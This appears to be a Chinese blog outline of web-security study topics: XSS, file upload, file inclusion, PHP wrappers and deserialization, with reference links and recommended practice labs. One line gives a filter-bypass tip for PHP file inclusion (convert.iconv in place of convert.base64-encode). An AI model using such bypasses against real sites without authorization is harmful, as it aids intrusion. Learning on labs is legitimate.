XSS跨站脚本攻击
文件上传漏洞
文件包含漏洞
-
释义
https://baijiahao.baidu.com/s?id=1726903453533609734&wfr=spider&for=pc -
PHP文件包含之伪协议总结
- https://www.php.cn/faq/481803.html - 过滤器:可以对文件内容进行处理的东西 -
PHP文件包含之伪协议绕过
- https://blog.csdn.net/woshilnp/article/details/117266628 - 使用convert.iconv.InputEncode.OutputEncode代替convert.base64-encode:InputEncode不一定要等与OutputEncode,随意组合
反序列化
-
专业术语了解
- https://mp.weixin.qq.com/s/FhwML5Jy6X8glJNOeMgV2g -
总结
- https://blog.csdn.net/m0_64815693/article/details/127982134 - 序列化:对象的一种书写格式而已 - 魔术方法:PHP的内置函数(Magic,魔术/神奇的,表示PHP的内置函数很神奇) - 简单理解:反序列化就是调用某个类,加上对一些函数进行绕过而已,序列化只是一种格式而已,考的是胆码审计和绕过
系统安全
操作系统基础
操作系统漏洞
靶场推荐
WEB靶场
- sqli-labs
- DVWA
- pikachu
综合靶场
- Vulhub:https://vulnhub.com/
本文作者:尹少欣
本文链接:https://www.cnblogs.com/brankyeen/p/17766416.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步